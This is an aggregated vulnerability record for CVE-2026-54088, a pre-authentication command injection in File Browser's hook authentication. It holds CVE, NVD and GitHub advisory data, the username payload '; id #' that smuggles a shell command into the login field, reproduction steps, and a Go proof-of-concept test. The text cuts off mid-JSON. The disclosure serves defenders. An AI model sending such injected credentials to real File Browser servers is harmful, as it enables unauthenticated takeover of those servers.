Vulnerability-Lookup

CVE-2026-54088 (GCVE-0-2026-54088)

Vulnerability from cvelistv5 – Published: 2026-06-25 17:49 – Updated: 2026-06-25 18:36

Title

File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

Summary

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-25 18:36 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7745 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/filebrowser/filebrowser/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
filebrowser	filebrowser	Affected: < 2.63.6	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54088",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T18:36:26.982012Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-25T18:36:52.953Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.63.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-88",
              "description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-25T17:49:14.017Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
        }
      ],
      "source": {
        "advisory": "GHSA-m93h-4hw7-5qcm",
        "discovery": "UNKNOWN"
      },
      "title": "File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54088",
    "datePublished": "2026-06-25T17:49:14.017Z",
    "dateReserved": "2026-06-11T18:44:47.761Z",
    "dateUpdated": "2026-06-25T18:36:52.953Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54088",
      "date": "2026-10-17",
      "epss": "0.00764",
      "percentile": "0.54549"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "filebrowser",
                "vendor": "filebrowser",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.63.6"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6."
          }
        ],
        "id": "CVE-2026-54088",
        "lastModified": "2026-06-25T19:58:30.847",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 9.3,
                "baseSeverity": "CRITICAL",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-54088",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T18:36:26.982012Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-25T19:16:40.687",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-78"
              },
              {
                "lang": "en",
                "value": "CWE-88"
              },
              {
                "lang": "en",
                "value": "CWE-306"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-54088",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-25T18:36:26.982012Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-25T18:35:51.601Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "filebrowser",
              "vendor": "filebrowser",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.63.6"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 9.3,
                "baseSeverity": "CRITICAL",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-78",
                  "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-88",
                  "description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-306",
                  "description": "CWE-306: Missing Authentication for Critical Function",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-25T17:49:14.017Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
            }
          ],
          "source": {
            "advisory": "GHSA-m93h-4hw7-5qcm",
            "discovery": "UNKNOWN"
          },
          "title": "File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-54088",
        "datePublished": "2026-06-25T17:49:14.017Z",
        "dateReserved": "2026-06-11T18:44:47.761Z",
        "dateUpdated": "2026-06-25T18:36:52.953Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54088

Vulnerability from fkie_nvd - Published: 2026-06-25 19:16 - Updated: 2026-06-25 19:58

Severity

9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.63.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6."
    }
  ],
  "id": "CVE-2026-54088",
  "lastModified": "2026-06-25T19:58:30.847",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54088",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-25T18:36:26.982012Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-25T19:16:40.687",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        },
        {
          "lang": "en",
          "value": "CWE-88"
        },
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-M93H-4HW7-5QCM

Vulnerability from github – Published: 2026-07-10 19:32 – Updated: 2026-07-10 19:32

Summary

File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

Details

Overview

The Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE.

Affected Location

File: auth/hook.go
Function: HookAuth.RunCommand

CVSS v4.0

Metric	Value	Rationale
Attack Vector (AV)	Network (N)	Exploitable via the login endpoint over HTTP from any network
Attack Complexity (AC)	Low (L)	Single crafted HTTP request; no preparation needed
Attack Requirements (AT)	None (N)	No race condition or special timing required
Privileges Required (PR)	None (N)	No account required — pre-authentication attack
User Interaction (UI)	None (N)	Fully automated; no victim action needed
Vulnerable System Confidentiality (VC)	High (H)	Full read access to server filesystem and env
Vulnerable System Integrity (VI)	High (H)	Arbitrary file write/modification
Vulnerable System Availability (VA)	High (H)	Can kill processes, exhaust resources
Subsequent System Confidentiality (SC)	None (N)	No direct impact on downstream systems assumed
Subsequent System Integrity (SI)	None (N)	—
Subsequent System Availability (SA)	None (N)	—

Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Base Score: 9.3 (Critical)

Note: PR:None is the critical differentiator from vulnerabilities 01 and 02. Because the injection point is the unauthenticated login endpoint, no account or session is required. A single HTTP request to the login API is sufficient to achieve RCE.

CWE

ID	Name	Role
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	Primary — attacker-supplied credentials embedded in shell command string via `os.Expand`
CWE-88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	Secondary — `$USERNAME`/`$PASSWORD` expansion injects additional shell commands
CWE-306	Missing Authentication for Critical Function	Secondary — OS command execution is reachable before any authentication is verified

Technical Details

HookAuth.RunCommand builds the authentication command and substitutes credential values using os.Expand:

// auth/hook.go
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username  // directly from the HTTP login request body
    case "PASSWORD":
        return a.Cred.Password  // directly from the HTTP login request body
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 { continue }
    command[i] = os.Expand(arg, envMapping) // no escaping applied
}

os.Expand performs plain text substitution. There is no escaping, quoting, or validation of the credential values before they are embedded into the command string.

If an admin has configured the hook authentication command as:

sh -c "test $USERNAME = 'admin'"

...and an attacker submits the username ; id # at the login screen, the expanded command becomes:

sh -c "test ; id # = 'admin'"

The ; terminates the test expression and the shell executes id. The # comments out the remainder, preventing a syntax error. The attacker's command runs with the privileges of the File Browser process — without needing a valid account or password.

Attack Scenario / Reproduction Steps

Admin enables Hook Authentication and sets the command to: sh -c "test $USERNAME = 'admin'"
An unauthenticated attacker sends a login request (e.g., via curl or the web UI) with:
Username: ; id #
Password: (any value)
The server executes: sh sh -c "test ; id # = 'admin'"
The id command runs on the server, confirming pre-authentication RCE.

No account is needed. The attacker does not need to know any valid credentials. A single request is sufficient.

Impact

An unauthenticated remote attacker can execute arbitrary OS commands on the server under the privilege level of the File Browser process. This is the most severe class of vulnerability in this codebase:

No authentication required — exposed to the entire internet if the service is public-facing.
Single request — no setup, no enumeration, no prior foothold.
Full server compromise: data exfiltration, persistent backdoor installation, lateral movement to internal networks.

Any internet-facing File Browser instance with Hook Authentication enabled is fully compromised by a single malformed login attempt.

Proof of Concept

package auth

import (
        "os"
        "strings"
        "testing"
)

func TestPoC_AuthHookInjection(t *testing.T) {
        // Simulate the admin-configured hook authentication command.
        // This represents a realistic configuration: verify the username via a shell expression.
        a := &HookAuth{
                Command: "sh -c $USERNAME",
                Cred: hookCred{
                        // Attacker-supplied username from the login form.
                        // The password is irrelevant.
                        Username: "id ; echo injected",
                        Password: "anything",
                },
        }

        // Simulate the RunCommand logic in auth/hook.go
        command := strings.Split(a.Command, " ")

        envMapping := func(key string) string {
                if key == "USERNAME" {
                        return a.Cred.Username
                }
                return os.Getenv(key)
        }

        for i, arg := range command {
                if i == 0 {
                        continue
                }
                // os.Expand substitutes $USERNAME with the attacker's input.
                // The result is treated as a shell script — no escaping is applied.
                command[i] = os.Expand(arg, envMapping)
        }

        // The shell will execute: sh -c "id ; echo injected"
        expectedArg := "id ; echo injected"
        if command[2] != expectedArg {
                t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
        }

        t.Logf("Confirmed: malicious username was injected as a shell script. Executing: %v", command)
}

Remediation

Pass credentials exclusively as environment variables, not as shell string substitutions. This feature is undocumented, so removing it should not cause issues.

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-78",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:32:32Z",
    "nvd_published_at": "2026-06-25T19:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "## Overview\n\nThe Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using `os.Expand` without sanitization. An **unauthenticated remote attacker** can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a **critical pre-authentication RCE**.\n\n## Affected Location\n\n- **File:** `auth/hook.go`\n- **Function:** `HookAuth.RunCommand`\n\n## CVSS v4.0\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Exploitable via the login endpoint over HTTP from any network |\n| Attack Complexity (AC) | Low (L) | Single crafted HTTP request; no preparation needed |\n| Attack Requirements (AT) | None (N) | No race condition or special timing required |\n| Privileges Required (PR) | **None (N)** | **No account required \u2014 pre-authentication attack** |\n| User Interaction (UI) | None (N) | Fully automated; no victim action needed |\n| Vulnerable System Confidentiality (VC) | High (H) | Full read access to server filesystem and env |\n| Vulnerable System Integrity (VI) | High (H) | Arbitrary file write/modification |\n| Vulnerable System Availability (VA) | High (H) | Can kill processes, exhaust resources |\n| Subsequent System Confidentiality (SC) | None (N) | No direct impact on downstream systems assumed |\n| Subsequent System Integrity (SI) | None (N) | \u2014 |\n| Subsequent System Availability (SA) | None (N) | \u2014 |\n\n**Vector String:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n**Base Score: 9.3 (Critical)**\n\n\u003e **Note:** `PR:None` is the critical differentiator from vulnerabilities 01 and 02. Because the injection point is the unauthenticated login endpoint, no account or session is required. A single HTTP request to the login API is sufficient to achieve RCE.\n\n## CWE\n\n| ID | Name | Role |\n|---|---|---|\n| [CWE-78](https://cwe.mitre.org/data/definitions/78.html) | Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) | Primary \u2014 attacker-supplied credentials embedded in shell command string via `os.Expand` |\n| [CWE-88](https://cwe.mitre.org/data/definitions/88.html) | Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) | Secondary \u2014 `$USERNAME`/`$PASSWORD` expansion injects additional shell commands |\n| [CWE-306](https://cwe.mitre.org/data/definitions/306.html) | Missing Authentication for Critical Function | Secondary \u2014 OS command execution is reachable before any authentication is verified |\n\n## Technical Details\n\n`HookAuth.RunCommand` builds the authentication command and substitutes credential values using `os.Expand`:\n\n```go\n// auth/hook.go\nenvMapping := func(key string) string {\n    switch key {\n    case \"USERNAME\":\n        return a.Cred.Username  // directly from the HTTP login request body\n    case \"PASSWORD\":\n        return a.Cred.Password  // directly from the HTTP login request body\n    default:\n        return os.Getenv(key)\n    }\n}\n\nfor i, arg := range command {\n    if i == 0 { continue }\n    command[i] = os.Expand(arg, envMapping) // no escaping applied\n}\n```\n\n`os.Expand` performs plain text substitution. There is no escaping, quoting, or validation of the credential values before they are embedded into the command string.\n\nIf an admin has configured the hook authentication command as:\n\n```\nsh -c \"test $USERNAME = \u0027admin\u0027\"\n```\n\n...and an attacker submits the username `; id #` at the login screen, the expanded command becomes:\n\n```sh\nsh -c \"test ; id # = \u0027admin\u0027\"\n```\n\nThe `;` terminates the `test` expression and the shell executes `id`. The `#` comments out the remainder, preventing a syntax error. The attacker\u0027s command runs with the privileges of the File Browser process \u2014 **without needing a valid account or password**.\n\n## Attack Scenario / Reproduction Steps\n\n1. Admin enables Hook Authentication and sets the command to:\n   ```\n   sh -c \"test $USERNAME = \u0027admin\u0027\"\n   ```\n2. An unauthenticated attacker sends a login request (e.g., via `curl` or the web UI) with:\n   - **Username:** `; id #`\n   - **Password:** (any value)\n3. The server executes:\n   ```sh\n   sh -c \"test ; id # = \u0027admin\u0027\"\n   ```\n4. The `id` command runs on the server, confirming pre-authentication RCE.\n\nNo account is needed. The attacker does not need to know any valid credentials. A single request is sufficient.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary OS commands on the server under the privilege level of the File Browser process. This is the most severe class of vulnerability in this codebase:\n\n- **No authentication required** \u2014 exposed to the entire internet if the service is public-facing.\n- **Single request** \u2014 no setup, no enumeration, no prior foothold.\n- Full server compromise: data exfiltration, persistent backdoor installation, lateral movement to internal networks.\n\nAny internet-facing File Browser instance with Hook Authentication enabled is fully compromised by a single malformed login attempt.\n\n## Proof of Concept\n\n```go\npackage auth\n\nimport (\n        \"os\"\n        \"strings\"\n        \"testing\"\n)\n\nfunc TestPoC_AuthHookInjection(t *testing.T) {\n        // Simulate the admin-configured hook authentication command.\n        // This represents a realistic configuration: verify the username via a shell expression.\n        a := \u0026HookAuth{\n                Command: \"sh -c $USERNAME\",\n                Cred: hookCred{\n                        // Attacker-supplied username from the login form.\n                        // The password is irrelevant.\n                        Username: \"id ; echo injected\",\n                        Password: \"anything\",\n                },\n        }\n\n        // Simulate the RunCommand logic in auth/hook.go\n        command := strings.Split(a.Command, \" \")\n\n        envMapping := func(key string) string {\n                if key == \"USERNAME\" {\n                        return a.Cred.Username\n                }\n                return os.Getenv(key)\n        }\n\n        for i, arg := range command {\n                if i == 0 {\n                        continue\n                }\n                // os.Expand substitutes $USERNAME with the attacker\u0027s input.\n                // The result is treated as a shell script \u2014 no escaping is applied.\n                command[i] = os.Expand(arg, envMapping)\n        }\n\n        // The shell will execute: sh -c \"id ; echo injected\"\n        expectedArg := \"id ; echo injected\"\n        if command[2] != expectedArg {\n                t.Errorf(\"Expected command argument %q, got %q\", expectedArg, command[2])\n        }\n\n        t.Logf(\"Confirmed: malicious username was injected as a shell script. Executing: %v\", command)\n}\n```\n\n## Remediation\n\nPass credentials exclusively as environment variables, not as shell string substitutions. This feature is undocumented, so removing it should not cause issues.",
  "id": "GHSA-m93h-4hw7-5qcm",
  "modified": "2026-07-10T19:32:32Z",
  "published": "2026-07-10T19:32:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm"
    },
    {
      "type": "ADVISORY",
